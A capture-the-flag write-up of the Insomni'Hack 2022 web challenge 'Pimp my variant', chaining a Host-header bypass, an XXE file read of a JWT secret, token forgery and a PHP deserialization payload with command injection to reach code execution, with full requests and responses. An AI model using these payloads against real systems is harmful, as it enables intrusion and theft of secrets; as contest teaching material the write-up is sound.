woman in front of its computer with the Insomniak Logo
Insomni'Hack 2022 Pimp my variant
Top News12/09/2020

By Aldric Berthet-Bondet

In this challenge, we had to combine an XXE and an insecure PHP deserialization to get an RCE.

Details
 

  • Category : web
  • Points : 76
  • Solves : 77

Description
 

Seen as it went, why not guess the next variant name : pimpmyvariant.insomnihack.ch

Understanding the problem

The page we landed on was a simple static list of Covid variants. There was... nothing else. We had to find a way to display more hidden information.

Solving the problem

The first thing is generaly to check the robots.txt page which can contain useful information on the available pages. Here is what we found :

/readme
/new
/log
/flag.txt
/todo.txt

Okay, now that we had a starting point, we checked out those different pages :

  • browsing /readme displays a unique message : “Hostname not allowed”
  • browsing /new displays the same as above
  • browsing /log is not authorized. Only the admin can get an access
  • browsing /flag.txt is obviously a trap. It would be too easy :)
  • browsing /todo.txt indicates “test back” which can refer to the back end

We had to circumvent hostname header restrictions to gain an access to /readme and /new endpoints. It is as simple as replacing the hostname header value with 127.0.0.1.

/readme provides us with a new interesting endpoint to visit. Unfortunately, simply browsing it does not display its content.

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 10:38:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 195

<html><head>
    <link rel="stylesheet" href="./dark-theme.css">
    <title>PimpMyVariant</title>
</head><body>
    <h1>Readme</h1>

#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file

/new brings out a form which can be used to add a new Covid variant to the list. It’s a POST request to /api whose JWT structure is the following :

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "variants": [
    "Alpha",
    "Beta",
    "Gamma",
    "Delta",
    "Omicron",
    "Lambda",
    "Epsilon",
    "Zeta",
    "Eta",
    "Theta",
    "Iota",
    "deltacron"
  ],
  "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}}",
  "exp": 1643465268
}

Okay, let’s sump up what we had so far :

  • Form to add a new variant
  • API with HS256 JWT authentication mechanism
  • File located at /www/jwt.secret.txt that we cannot read at the moment
  • /log endpoint for the admin

Implementing the solution

With the objective of accessing /log we had to hijack administrator account using the following vulnerabilities :

  • Get the content of /www/jwt.secret.txt which is supposed to be the HMAC secret.
  • Forge a new token with this secret and set isAdmin to 1.

While analyzing the POST request, we also noticed that arguments are sent in a XML structure. A well known XML related vulnerabilty is XXE and could be used to extract sensitive data like files. ;)

The payload we used is :

POST /api HTTP/1.1
Host: pimpmyvariant.insomnihack.ch
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Origin: http://pimpmyvariant.insomnihack.ch
Content-Length: 168
Connection: close
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiZGVsdGFjcm9uIiwidGVzdCIsInRlc3QxIl0sInNldHRpbmdzIjoiYToxOntpOjA7Tzo0OlwiVXNlclwiOjM6e3M6NDpcIm5hbWVcIjtzOjQ6XCJBbm9uXCI7czo3OlwiaXNBZG1pblwiO2I6MDtzOjI6XCJpZFwiO3M6NDA6XCJhYzYzNDZiZGQwM2NlYjU2MWFhNWJkNjU5MDYwNTJiOWI1YzE5ZDI5XCI7fX0iLCJleHAiOjE2NDM0NjUyNjh9.rJN7Zt97lVafBHm0rsT0iifOT524fP2_T-pRPgtRlzA

<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///www/jwt.secret.txt"> ]>

<root>
    <name>&example;</name>
</root>

The result is displayed inside the list after browsing / with the new JWT sent back by the server (as variants are stored in it):

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 11:03:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 402

<html>
<head>
    <link rel="stylesheet" href="./dark-theme.css">
    <title>PimpMyVariant</title>
</head><body>
    <h1>Variants list</h1>

<ul>

[...]
<li>54b163783c46881f1fe7ee05f90334aa</li>
</ul>
</body>
</html>

With that secret in hand, forging a new JWT is trivial. And we can now access /log :

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 14:12:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 501

<html><head>
    <link rel="stylesheet" href="./dark-theme.css">
    <title>PimpMyVariant</title>
</head><body>
    <h1>Logs</h1>

<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
  thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
  thrown in /www/UpdateLogViewer.inc on line 26

</textarea>
</body></html>

An error message is displayed on the page, revealing the path to a new file we did not discover previously. It is a .inc file located in the root directory of the webserver, so we could access it directly and it’s content was not interpreted :

<?php

class UpdateLogViewer
{
    public string $packgeName;
    public string $logCmdReader;
    private static ?UpdateLogViewer $singleton = null;
    
    private function __construct(string $packgeName)
    {
        $this->packgeName = $packgeName;
        $this->logCmdReader = 'cat';
    }
    
    public static function instance() : UpdateLogViewer
    {
        if( !isset(self::$singleton) || self::$singleton === null ){
            $c = __CLASS__;
            self::$singleton = new $c("$c");
        }
        return self::$singleton;
    }
    
    public static function read():string
    {
        return system(self::logFile());
    }
    
    public static function logFile():string
    {
        return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
    }
    
    public function __wakeup()// serialize
    {
        self::$singleton = $this; 
    }
};

We have not mentionned it yet, but we noticed that the settings field of the JWT is a serialized PHP array containing a User object:

{"settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}}"}

It is obvious that the vulnerability here is an insecure PHP deserialization.

When browsing to /log the UpdateLogViewer::read function is called. This function uses system to read a log file. The command injection is obvious and can be triggered by setting $this->logCmdReader = 'id;cat';.

Simply replacing the settings field with a specially crafted serialized UpdateLogViewer object does not work, as we are not admin anymore.

After multiple unsuccessful attempts, we discovered that we needed to append our object to the existing array. This is the final payload :

{"settings": "a:2:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}i:1;O:15:\"UpdateLogViewer\":2:{s:10:\"packgeName\";s:15:\"UpdateLogViewer\";s:12:\"logCmdReader\";s:16:\"grep -ri ins;cat\";}}"}

Browsing to /log with the crafted JWT token reveals the flag:

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 15:14:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 1271

<html>
<head>
    <link rel="stylesheet" href="./dark-theme.css">
    <title>PimpMyVariant</title>
</head><body>
    <h1>Logs</h1>

<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
  thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
  thrown in /www/UpdateLogViewer.inc on line 26

flag.txt:The flag is INS{P!mpmYV4rianThat's1flag}
[...]
</textarea>
</body>
</html>

Flag : INS{P!mpmYV4rianThat’s1flag}

Our News